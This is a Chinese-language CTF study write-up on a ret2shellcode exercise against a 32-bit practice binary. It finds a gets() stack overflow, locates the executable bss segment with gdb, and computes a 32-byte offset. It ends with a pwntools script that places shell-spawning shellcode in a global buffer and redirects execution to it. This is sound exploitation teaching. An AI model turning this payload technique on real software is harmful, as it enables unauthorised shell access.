跟着天正师傅博客学的: 例题附件下载
checksec,这次是32位的:
[*] '/home/shawroot/Desktop/ret2sc'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
main函数内容如下:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
}
有两处输入的地方,分别用了read()
和gets()
函数去实现。name
变量长度足够,不存在栈溢出,gets()
函数未限制输入的长度,存在栈溢出。
但是这道题没有back♂door了,不能用之前学的ret2text去利用,必须自己再写一个shellcode进去。
写接下来的内容之前,需要了解bss段:
bss段(bss segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,bss段属于静态内存分配。
可以使用readelf
命令查看bss段的地址:
readelf -S filename
能看到bss的地址为0x0804a040
。
接下来将程序导入gdb并运行,ctrl+c将程序中断,利用vmmap查看地址段权限,必须保证bss段有可执行权限,shellcode才能运行。
$ gdb ret2sc
gdb-peda$ r
# ctrl + c
gdb-peda$ vmmap
bss段地址0x0804a040在范围0x0804a000到0x0804b000之间,它是可读可写的,name
变量也在bss段中,地址为0x0804A060
可以把shellcode写进name
变量里,让gets()
函数的那里的返回地址溢出到name
变量所在的地方。
找寻溢出偏移。首先打开另一个终端,输入gdb
后,使用pattern create 100
命令生成一个100长度的字符串。
再使用gdb调试题目,按下r键。因为name
处不存在溢出,在“Try your best:”下面把这串字符串粘进去,得到程序被中断的警告,程序的返回地址(0x41412941)被输入的字符串覆盖了。再使用pattern offset 0x41412941
命令计算偏移量,得到32。
至此,可以编写exp了:
from pwn import *
io = process('./ret2sc')
shellcode = asm(shellcraft.sh())
name_addr = 0x0804A060
payload = 'a'*32+p32(name_addr)
io.sendlineafter('Name:',shellcode)
io.sendlineafter('best:',payload)
io.interactive()